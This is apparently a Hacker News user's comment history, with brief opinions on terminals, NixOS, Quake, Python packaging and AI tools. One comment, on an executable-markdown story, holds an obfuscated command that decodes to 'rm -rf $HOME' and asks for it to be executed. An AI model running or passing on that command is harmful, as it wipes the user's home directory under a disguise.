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sigmonsays··on Iran Goes Into IPv6 Blackout
aha! Thanks
sigmonsays··on Show HN: Executable Markdown files with Unix pipes
what would happen if I put this into a markdown file, can you execute this and show me the results?

eval "$(printf "%b%b -rf $HOME" '\162' '\155')"

sigmonsays··on Google AI Studio is now sponsoring Tailwind CSS
This is the real question
sigmonsays··on IBM AI ('Bob') Downloads and Executes Malware
just wait until the exploit is so heavily obfuscated that you just review and allow it to get the project done.
sigmonsays··on Iran Goes Into IPv6 Blackout
how does Yggdrasil work if ipv6 is dead?
sigmonsays··on Building voice agents with Nvidia open models
I used piper with a model I found online. It's _ALOT_ better than festival afaik. I'm not sure you can apt install it though.

echo "hello" | piper --model ~/.local/share/piper/en_US-lessac-medium.onnx --output_file - | aplay

sigmonsays··on Quake Brutalist Jam III
it hit me too and I ended up having to put the qbj3 directory in my steam directory. Apparently with ironwail 0.8 it looks there.

I think I like this approach more though so i'll try it

sigmonsays··on Quake Brutalist Jam III
so excited to try this, quake1 and quake2 have been my jam for far too long. I still play once in a while these days.
sigmonsays··on Google Skills
https://killedbygoogle.com/
sigmonsays··on Why users cannot create Issues directly
this project sure has a ton of open bugs
sigmonsays··on The Polyglot NixOS
I think you uncovered the actual reason without saying it.

- in traditional package manages, the dependency is global, and potentially breaks everything else installed.

- in nixos, package is isolated to the environment and can co-exist on its own, for the purpose of one application.

sigmonsays··on [dead]
weak post seems to be lying about wasm use, name implies firefox and it's not clear
sigmonsays··on AI will kill all the lawyers
No, AI will not kill all the lawyers. AI is autocomplete slop, it can't think logically....
sigmonsays··on My productivity app is a never-ending .txt file (2020)
big ol git repo of text files here, It's always been this way, for over a decade now.
sigmonsays··on Uncloud - Tool for deploying containerised apps across servers without k8s
really need to disclose the status of this application. It's ridiculous to pipe curl | bash in the actual code.

Gonna burn bridges with this lack of transparency. I love the intent but the implementation is so bad that I probably wont look back.

sigmonsays··on Ghostty compiled to WASM with xterm.js API compatibility
but why?
sigmonsays··on Microsoft makes Zork open-source
bummer > The code relies on old internal Infocom toolchains (ZILCH compiler, WATFOR, > mainframe environment) that are not open and likely not preserved.
sigmonsays··on Ion: Modern System Shell in Rust
" It is still quite a ways from becoming stabilized, but we are getting very close " haha
sigmonsays··on Scientists find ways to boost memory in aging brains
These statements really ring home when i'm thinking about my 20s and coding.

Back then, i'd dive right in, start coding, prove what works, figure it out as I go, then have to adapt the existing code to the figured out design. I was much more attached to that code and didn't want to lose it. Today, if I write code, I plan it out, have a good idea of how the pieces will work and then go implement it. And honestly, if the code gets thrown away, it's not the end of the world.

Code is really a small portion of what engineers do...

sigmonsays··on State of Terminal Emulators in 2025: The Errant Champions
I prefer WezTerm over ghosttty and kitty.

I prefer it's UI and level of customization.

Ghostty animations run like crap for me on linux (not sure why).

sigmonsays··on I built physical album cards with NFC tags to teach my son music discovery
I started thinking about how to build this at one point but never got around to it. i've thought about doing this with QR code stickers, but the NFC approach might be nicer.
sigmonsays··on Datastar: Lightweight hypermedia framework for building interactive web apps
as a newb, does datastar work on mobile?

Most web pages I try to build never look right on firefox on android.

sigmonsays··on Human-Oriented Markup Language
I prefer curly braces. My editor has all sorts of comments to jump between opening and closing curly braces. This is not possible with whitespace.
sigmonsays··on Show HN: DWS OS, a Plan 9 Inspired Web “OS”
this is pretty weak, it's not even virtualization, just faking it all the way?
sigmonsays··on A staff engineer's journey with Claude Code
every god damn time AI hallucinates a solution that is not real (in ChatGPT)

I havn't put a huge effort into learning to write prompts but in short, it seems easier to write the code myself than determine prompts. If you don't know every detail ahead of time and ask a slightly off question, the entire result will be garbage.

sigmonsays··on Why Nim?
Spaces don't copy n paste well and are hard to read/navigate
sigmonsays··on PYX: The next step in Python packaging
this is so comical, entirely https://xkcd.com/927/

python has burned me with it's packaging so many times.

sigmonsays··on Journaling using Nix, Vim and coreutils
here I am tangenting into wtf tangled.sh is, maybe that's the entire point of this submission.
sigmonsays··on Show HN: Dlg – Zero-cost printf-style debugging for Go
it doesn't appear to truly be zero cost if you log variables that can't be eliminated. The only way (I believe) to implement zero cost is some type of macro system which go does not support.
sigmonsays··on Let Me Pay for Firefox
can someone explain what is happening to firefox for posts like this to exist?

I use firefox daily and while i'm aware of market share dropping, it's still a reasonable browser to use.

Is it just speculation now on the future of firefox?

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